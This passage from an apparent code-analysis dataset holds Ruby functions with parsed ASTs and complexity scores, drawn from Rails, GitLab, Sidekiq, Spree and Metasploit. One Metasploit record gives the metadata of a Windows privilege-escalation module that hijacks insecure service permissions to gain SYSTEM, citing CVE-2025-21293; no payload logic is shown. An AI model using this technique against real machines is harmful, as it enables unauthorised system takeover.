'future');\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConnectionAdapters\"]},\"PostgreSQLAdapter\"]},\"NATIVE_DATABASE_TYPES\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"datetimes_as_enum\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"custom_time_format\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_postgresql_datetime_type\",{\"type\":\"sym\",\"children\":[\"datetimes_as_enum\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migration\"]},\"new\"]},\"add_column\",{\"type\":\"sym\",\"children\":[\"postgresql_timestamp_with_zones\"]},{\"type\":\"sym\",\"children\":[\"times\"]},{\"type\":\"sym\",\"children\":[\"datetime\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data_type\"]},{\"type\":\"str\",\"children\":[\"USER-DEFINED\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"udt_name\"]},{\"type\":\"str\",\"children\":[\"custom_time_format\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlTimestampWithZone\"]},\"lease_connection\"]},\"execute\",{\"type\":\"str\",\"children\":[\"select data_type, udt_name from information_schema.columns where column_name = 'times'\"]}]},\"to_a\"]},\"first\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConnectionAdapters\"]},\"PostgreSQLAdapter\"]},\"NATIVE_DATABASE_TYPES\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"datetimes_as_enum\"]}]},{\"type\":\"gvasgn\",\"children\":[\"$stdout\",{\"type\":\"lvar\",\"children\":[\"original\"]}]}]}]}]}","id":"93cc3dd1-738f-424f-9478-3e949e08801e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/atg/atg_client.rb","start_line":188,"raw_source":"def setup\n    # ensure that the specified command is implemented for the desired version of the TLS protocol\n    unless action.opts.keys.include?(protocol_opt_name)\n      fail_with(Failure::BadConfig, \"#{action.name} not defined for #{protocol}\")\n    end\n\n    # ensure that the tank number is set for the commands that need it\n    if action.name == 'SET_TANK_NAME' && (tank_number < 0 || tank_number > 99)\n      fail_with(Failure::BadConfig, \"TANK_NUMBER #{tank_number} is invalid\")\n    end\n\n    unless timeout > 0\n      fail_with(Failure::BadConfig, \"Invalid timeout #{timeout} -- must be > 0\")\n    end\n  end","complexity_score":33.15,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]},\"opts\"]},\"keys\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"protocol_opt_name\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" not defined for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"protocol\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"SET_TANK_NAME\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tank_number\"]},\"<\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tank_number\"]},\">\",{\"type\":\"int\",\"children\":[99]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"TANK_NUMBER \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tank_number\"]}]},{\"type\":\"str\",\"children\":[\" is invalid\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"timeout\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid timeout \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"timeout\"]}]},{\"type\":\"str\",\"children\":[\" -- must be > 0\"]}]}]}]}]}]}","id":"fe18b1db-16ad-40d0-97ad-6c6bf92bfbe1"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/test_helper_test.rb","start_line":571,"raw_source":"def test_deliver_enqueued_emails_with_custom_delivery_job\n    assert_nothing_raised do\n      deliver_enqueued_emails do\n        silence_stream($stdout) do\n          CustomDeliveryMailer.test.deliver_later\n        end\n      end\n    end\n\n    assert_emails(1)\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_deliver_enqueued_emails_with_custom_delivery_job\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deliver_enqueued_emails\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"silence_stream\",{\"type\":\"gvar\",\"children\":[\"$stdout\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomDeliveryMailer\"]},\"test\"]},\"deliver_later\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_emails\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"fe88f6c7-b3f7-4daa-871f-36d752c64ebf"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/reloader_test.rb","start_line":100,"raw_source":"def new_reloader(&check)\n      Class.new(ActiveSupport::Reloader).tap do |r|\n        r.check = check\n        r.executor = Class.new(ActiveSupport::Executor)\n      end\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"new_reloader\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"check\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Reloader\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"check=\",{\"type\":\"lvar\",\"children\":[\"check\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"executor=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Executor\"]}]}]}]}]}]}","id":"08f54ed6-b047-4583-8a88-88ae10df4840"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/deflater.rb","start_line":100,"raw_source":"def each(&block)\n        @writer = block\n        gzip = ::Zlib::GzipWriter.new(self)\n        gzip.mtime = @mtime if @mtime\n        # @body.each is equivalent to @body.gets (slow)\n        if @body.is_a? ::File # XXX: Should probably be ::IO\n          while part = @body.read(BUFFER_LENGTH)\n            gzip.write(part)\n            gzip.flush if @sync\n          end\n        else\n          @body.each { |part|\n            # Skip empty strings, as they would result in no output,\n            # and flushing empty parts would raise Zlib::BufError.\n            next if part.empty?\n            gzip.write(part)\n            gzip.flush if @sync\n          }\n        end\n      ensure\n        gzip.finish\n      end","complexity_score":26.4,"ast_json":"{\"type\":\"def\",\"children\":[\"each\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@writer\",{\"type\":\"lvar\",\"children\":[\"block\"]}]},{\"type\":\"lvasgn\",\"children\":[\"gzip\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Zlib\"]},\"GzipWriter\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mtime\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gzip\"]},\"mtime=\",{\"type\":\"ivar\",\"children\":[\"@mtime\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]}]},{\"type\":\"while\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"part\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body\"]},\"read\",{\"type\":\"const\",\"children\":[null,\"BUFFER_LENGTH\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gzip\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"part\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sync\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gzip\"]},\"flush\"]},null]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"part\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gzip\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"part\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sync\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gzip\"]},\"flush\"]},null]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gzip\"]},\"finish\"]}]}]}","id":"bc2455f2-df0f-4201-9816-0f94535591b6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/service_permissions.rb","start_line":20,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Windows Escalate Service Permissions Local Privilege Escalation',\n        'Description' => %q{\n          This module attempts to exploit existing administrative privileges to obtain\n          a SYSTEM session. If directly creating a service fails, this module will inspect\n          existing services to look for insecure configuration, file or registry permissions that may\n          be hijacked. It will then attempt to restart the replaced service to run the\n          payload. This will result in a new session when this succeeds.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'scriptjunkie', # service and file permission techniques\n          'Spencer McIntyre', # registry permission technique\n          'itm4n' # registry permission technique\n        ],\n        'Arch' => [ ARCH_X86, ARCH_X64 ],\n        'Platform' => [ 'win' ],\n        'SessionTypes' => [ 'meterpreter' ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'thread',\n          'WfsDelay' => '5'\n        },\n        'Targets' => [\n          [ 'Automatic', {} ],\n          [ 'Exploit CVE-2025-21293', {} ]\n        ],\n        'References' => [\n          ['URL', 'https://itm4n.github.io/windows-registry-rpceptmapper-eop/'],\n          ['URL', 'https://birkep.github.io/posts/Windows-LPE/'],\n          ['CVE', '2025-21293'],\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2012-10-15',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\n        }\n      )\n    )\n\n    register_options([\n      OptBool.new('AGGRESSIVE', [ false, 'Exploit as many services as possible (dangerous)', false ])\n    ])\n    register_advanced_options([\n      OptString.new('TargetServiceName', [ false, 'The name of a specific service to target', false ])\n    ])\n    deregister_options('RHOST', 'SMBUser', 'SMBPass', 'SMBDomain')\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows Escalate Service Permissions Local Privilege Escalation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module attempts to exploit existing administrative privileges to obtain\\n\"]},{\"type\":\"str\",\"children\":[\"          a SYSTEM session. If directly creating a service fails, this module will inspect\\n\"]},{\"type\":\"str\",\"children\":[\"          existing services to look for insecure configuration, file or registry permissions that may\\n\"]},{\"type\":\"str\",\"children\":[\"          be hijacked. It will then attempt to restart the replaced service to run the\\n\"]},{\"type\":\"str\",\"children\":[\"          payload. This will result in a new session when this succeeds.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"scriptjunkie\"]},{\"type\":\"str\",\"children\":[\"Spencer McIntyre\"]},{\"type\":\"str\",\"children\":[\"itm4n\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"str\",\"children\":[\"5\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Exploit CVE-2025-21293\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://itm4n.github.io/windows-registry-rpceptmapper-eop/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://birkep.github.io/posts/Windows-LPE/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2025-21293\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2012-10-15\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"AGGRESSIVE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Exploit as many services as possible (dangerous)\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TargetServiceName\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The name of a specific service to target\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"RHOST\"]},{\"type\":\"str\",\"children\":[\"SMBUser\"]},{\"type\":\"str\",\"children\":[\"SMBPass\"]},{\"type\":\"str\",\"children\":[\"SMBDomain\"]}]}]}]}","id":"5553b1b8-3f86-4ad7-a31c-3c9d4b1a8039"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":3002,"raw_source":"def legacy_storage?\n    [nil, 0].include?(self.storage_version)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"legacy_storage?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[0]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"storage_version\"]}]}]}","id":"ca77d1f6-5cb2-4e6c-97b0-bdb7ad2a7b06"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/helpers/spree/products_helper.rb","start_line":119,"raw_source":"def product_variant_for_selected_option(option_type, product:, selected_variant:, options_param_name: :options)\n      selected_value_for_option = product_selected_option_for_option(\n        option_type,\n        product: product,\n        selected_variant: selected_variant,\n        options_param_name: options_param_name\n      )\n      return unless selected_value_for_option.present?\n\n      product.variants.with_option_value(option_type.name, selected_value_for_option.name).first\n    end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"product_variant_for_selected_option\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option_type\"]},{\"type\":\"kwarg\",\"children\":[\"product\"]},{\"type\":\"kwarg\",\"children\":[\"selected_variant\"]},{\"type\":\"kwoptarg\",\"children\":[\"options_param_name\",{\"type\":\"sym\",\"children\":[\"options\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"selected_value_for_option\",{\"type\":\"send\",\"children\":[null,\"product_selected_option_for_option\",{\"type\":\"lvar\",\"children\":[\"option_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"product\"]},{\"type\":\"lvar\",\"children\":[\"product\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"selected_variant\"]},{\"type\":\"lvar\",\"children\":[\"selected_variant\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options_param_name\"]},{\"type\":\"lvar\",\"children\":[\"options_param_name\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selected_value_for_option\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"product\"]},\"variants\"]},\"with_option_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option_type\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selected_value_for_option\"]},\"name\"]}]},\"first\"]}]}]}","id":"02caf4a9-3814-41d0-b092-cdf8a1d32123"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/myapp/config/initializers/sidekiq.rb","start_line":120,"raw_source":"def perform(*)\n    raise \"boom\" if rand < 0.2\n    sleep(rand * 0.1)\n  end","complexity_score":8.55,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\"]},\"<\",{\"type\":\"float\",\"children\":[0.2]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"boom\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\"]},\"*\",{\"type\":\"float\",\"children\":[0.1]}]}]}]}]}","id":"b0633b6f-48cd-4e18-aa13-f994afcb4bce"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/notification_recipient.rb","start_line":148,"raw_source":"def read_ability\n    return if @skip_read_ability\n    return @read_ability if instance_variable_defined?(:@read_ability)\n\n    @read_ability =\n      if @target.is_a?(Ci::Pipeline)\n        :read_build # We have build trace in pipeline emails\n      elsif default_ability_for_target\n        :\"read_#{default_ability_for_target}\"\n      end\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"read_ability\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@skip_read_ability\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_variable_defined?\",{\"type\":\"sym\",\"children\":[\"@read_ability\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@read_ability\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@read_ability\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@target\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Pipeline\"]}]},{\"type\":\"sym\",\"children\":[\"read_build\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_ability_for_target\"]},{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"read_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_ability_for_target\"]}]}]},null]}]}]}]}]}","id":"5f17a42a-5034-4298-82e7-7af2ebe730c2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/sidekiq_config/cli_methods_spec.rb","start_line":19,"raw_source":"def stub_contents(foss_queues, ee_queues, jh_queues)\n      allow(YAML).to receive(:load_file)\n                       .with(expand_path('app/workers/all_queues.yml'))\n                       .and_return(foss_queues)\n\n      allow(YAML).to receive(:load_file)\n                       .with(expand_path('ee/app/workers/all_queues.yml'))\n                       .and_return(ee_queues)\n\n      allow(YAML).to receive(:load_file)\n                       .with(expand_path('jh/app/workers/all_queues.yml'))\n                       .and_return(jh_queues)\n    end","complexity_score":24.0,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_contents\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"foss_queues\"]},{\"type\":\"arg\",\"children\":[\"ee_queues\"]},{\"type\":\"arg\",\"children\":[\"jh_queues\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"YAML\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"load_file\"]}]},\"with\",{\"type\":\"send\",\"children\":[null,\"expand_path\",{\"type\":\"str\",\"children\":[\"app/workers/all_queues.yml\"]}]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"foss_queues\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"YAML\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"load_file\"]}]},\"with\",{\"type\":\"send\",\"children\":[null,\"expand_path\",{\"type\":\"str\",\"children\":[\"ee/app/workers/all_queues.yml\"]}]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"ee_queues\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"YAML\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"load_file\"]}]},\"with\",{\"type\":\"send\",\"children\":[null,\"expand_path\",{\"type\":\"str\",\"children\":[\"jh/app/workers/all_queues.yml\"]}]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"jh_queues\"]}]}]}]}]}","id":"168be748-28be-4ce6-ac75-35850e43d6b4"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/test/web_test.rb","start_line":872,"raw_source":"def add_dead(jid = SecureRandom.hex(12))\n    msg = {\"class\" => \"HardJob\",\n           \"args\" => [\"bob\", 1, Time.now.to_f],\n           \"queue\" => \"foo\",\n           \"error_message\" => \"Some fake message\",\n           \"error_class\" => \"RuntimeError\",\n           \"retry_count\" => 0,\n           \"failed_at\" => Time.now.to_f,\n           \"jid\" => jid}\n    score = Time.now.to_f\n    @config.redis do |conn|\n      conn.zadd(\"dead\", score, Sidekiq.dump_json(msg))\n    end\n    [msg, score]\n  